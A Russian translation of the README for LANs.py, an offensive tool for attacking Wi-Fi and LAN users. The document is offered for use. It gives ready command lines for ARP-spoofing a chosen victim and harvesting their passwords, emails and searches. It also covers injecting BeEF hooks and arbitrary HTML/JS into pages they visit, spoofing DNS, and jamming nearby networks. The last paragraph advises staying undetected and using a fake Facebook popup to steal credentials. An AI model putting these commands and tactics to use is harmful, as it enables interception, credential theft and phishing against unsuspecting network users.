
Внедрять код и шпионить за пользователями Wi-Fi
*** ПРИМЕЧАНИЕ *** Я больше не поддерживаю этот проект. Настоятельно рекомендую использовать bettercap для задач ARP и MITM.
Автоматически находит наиболее активных пользователей WLAN, затем шпионит за одним из них и/или внедряет произвольный HTML/JS в посещаемые ими страницы.
Также может использоваться для непрерывного глушения соседних Wi-Fi сетей. Радиус действия составляет примерно один квартал, но может варьироваться в зависимости от мощности вашей Wi-Fi-карты. Можно тонко настроить для глушения всех или только одного клиента. (Нельзя одновременно глушить Wi-Fi и шпионить)
Предварительные требования: Linux, python-scapy, python-nfqueue (nfqueue-bindings 0.4-3), aircrack-ng, python-twisted, BeEF (опционально), nmap, nbtscan, и беспроводная карта с возможностью работы в режиме promiscuous, если вы не используете опцию -ip.
Протестировано на Kali 1.0. В следующих примерах 192.168.0.5 — атакующая машина, а 192.168.0.10 — жертва.
Все параметры:
Python LANs.py [-h] [-b BEEF] [-c CODE] [-u] [-ip IPADDRESS] [-vmac VICTIMMAC]
[-d] [-v] [-dns DNSSPOOF] [-a] [-set] [-p] [-na] [-n]
[-i INTERFACE] [-r REDIRECTTO] [-rip ROUTERIP]
[-rmac ROUTERMAC] [-pcap PCAP] [-s SKIP] [-ch CHANNEL]
[-m MAXIMUM] [-no] [-t TIMEINTERVAL] [--packets PACKETS]
[--directedonly] [--accesspoint ACCESSPOINT]
python LANs.py -u -p
Активное обнаружение целей, которое выполняет ARP-спуфинг выбранной цели и выводит все интересные незашифрованные HTTPS-данные, которые она отправляет или запрашивает. Нет опции -ip, поэтому программа выполняет ARP-сканирование сети, сравнивает его с текущим захватом в режиме promiscuous и выводит список всех клиентов в сети. Пытается пометить цели с помощью Windows netbios имени и выводит, сколько пакетов данных они отправляют/получают. Возможность захвата отправляемых ими пакетов данных сильно зависит от физической близости и мощности вашей сетевой карты. Нажмите Ctrl-C, когда будете готовы, и выберите цель, после чего программа выполнит ARP-спуфинг.
Поддерживает перехват и сбор данных следующих протоколов: HTTP, FTP, IMAP, POP3, IRC. Выводит первые 135 символов посещённых URL, игнорируя URL, заканчивающиеся на .jpg, .jpeg, .gif, .css, .ico, .js, .svg и .woff. Также выводит все введённые имена пользователей/пароли для этих протоколов, поисковые запросы на любых сайтах, отправленные/полученные письма и отправленные/полученные сообщения IRC. Скриншот: http://i.imgur.com/kQofTYP.png
Запуск LANs.py без аргументов покажет список активных целей, и после выбора одной из них программа будет работать как простой ARP-спуфер.
python LANs.py -u -p -d -ip 192.168.0.10
-d: открывает xterm с driftnet для просмотра всех изображений, которые просматривает жертва
-ip: указывает IP-адрес цели, пропуская этап активного обнаружения
python LANs.py -b http://192.168.0.5:3000/hook.js
Внедряет URL-адрес крючка BeEF (http://beefproject.com/, учебник: http://resources.infosecinstitute.com/beef-part-1/) в страницы, которые посещает жертва. Аргумент просто оборачивается в теги <script>, так что можно ввести любой адрес JavaScript-файла. Внедрение пытается произойти после первого найденного тега </head> в HTML-коде страницы.
python LANs.py -c '<title>Owned.</title>'
Внедряет произвольный HTML в страницы, которые посещает жертва. Сначала пытается внедрить после первого тега <head>, а если не получается — перед первым тегом </head>. В этом примере заголовок страницы изменится на 'Owned.'
python LANs.py -pcap libpcapfilename -ip 192.168.0.10
Для чтения из pcap-файла необходимо указать IP-адрес цели с помощью опции -ip. Файл должен быть в формате libpcap, который является наиболее распространённым. Преимущество чтения из pcap-файла в том, что для выполнения скрипта не требуются права root.
python LANs.py -a -r 80.87.128.67
python LANs.py -dns eff.org
Пример 1: Опция -a подменяет все DNS-запросы жертвы, а при совместном использовании с -r перенаправляет их на адрес, указанный в -r. Жертва будет перенаправлена на stallman.org (80.87.128.67) независимо от того, что она вводит в адресной строке.
Пример 2: Этот вариант подменяет домен eff.org и все его поддомены. Если опция -r не указана вместе с -a или -dns, скрипт по умолчанию перенаправляет жертву на IP-адрес атакующего. Если жертва попытается зайти на eff.org, она будет перенаправлена на IP атакующего.
python LANs.py -v -d -p -n -na -set -a -r 80.87.128.67 -c '<title>Owned.</title>' -b http://192.168.0.5:3000/hook.js -ip 192.168.0.10
python LANs.py
Обычное использование:
-b BEEF_HOOK_URL: скопируйте URL крючка BeEF, чтобы внедрять его на каждую страницу, которую посещает жертва; например: -b http://192.168.1.10:3000/hook.js
-c 'HTML CODE': внедряет произвольный HTML-код в страницы, которые посещает жертва; обязательно заключайте в кавычки при указании HTML для внедрения
-d: открыть xterm с driftnet для просмотра всех изображений, которые просматривает жертва
-dns DOMAIN: подменить DNS для указанного домена. Например, -dns facebook.com будет подменять все DNS-запросы к facebook.com или subdomain.facebook.com
-a: подменить все DNS-ответы жертвы, эффективно создавая страницу captive portal; можно использовать вместе с -r
-r IPADDRESS: использовать только вместе с опцией -dns DOMAIN; перенаправляет пользователя на этот IPADDRESS при посещении DOMAIN
-u: выводить посещённые URL; обрезается до 150 символов, URL изображений/css/js/woff/svg отфильтровываются, так как они засоряют вывод и неинтересны
-i INTERFACE: указать интерфейс; по умолчанию используется первый интерфейс из ip route, например: -i wlan0
-ip: указать IP-адрес цели
-n: выполнить быстрый nmap-скан цели
-na: выполнить агрессивный nmap-скан в фоновом режиме и вывести результат в файл [IP-адрес жертвы].nmap.txt
-p: выводить имена пользователей/пароли для FTP/IMAP/POP/IRC/HTTP, HTTP POST-запросы, все поисковые запросы, входящие/исходящие письма и отправленные/полученные сообщения IRC
-pcap PCAP_FILE: анализировать все пакеты в pcap-файле; требуется аргумент -ip [IP-адрес цели]
-rmac ROUTER_MAC: введите MAC-адрес роутера, если скрипт не может его автоматически получить
-rip ROUTER_IP: введите IP-адрес роутера, если скрипт не может его автоматически получить
-v: показывать подробные URL без обрезания до 150 символов, как в -u
Глушение Wi-Fi:
При получении Ctrl-C:
Отключает IP-пересылку (IP forwarding)
Сбрасывает правила iptables
Индивидуально восстанавливает ARP-таблицы роутера и жертвы
Этот скрипт использует очередь python nfqueue-bindings, обёрнутую в Twisted IReadDescriptor, для передачи пакетов функциям обратного вызова. nfqueue-bindings используется для сброса и пересылки определённых пакетов. Библиотека Python scapy выполняет разбор и внедрение пакетов.
Внедрение кода без обнаружения — рискованное занятие. Если что-то пойдёт не так или сервер, с которого жертва запрашивает данные, работает нестандартным образом, пользователь не сможет открыть страницу и заподозрит неладное. Этот скрипт спроектирован так, чтобы пересылать пакеты при любом сбое, поэтому во время использования вы можете видеть много сообщений "[!] Injected packet for www.domain.com", но лишь один или два домена в панели BeEF, на которых браузер действительно захвачен. Это нормально. Если захват не произошёл на первой странице, просто подождите, пока жертва откроет ещё несколько. Цель — оставаться незаметным. Мои любимые инструменты BeEF находятся в Commands > Social Engineering. Делайте что-то вроде создания официального всплывающего окна Facebook с сообщением о том, что срок аутентификации пользователя истёк, и ему нужно ввести учётные данные заново.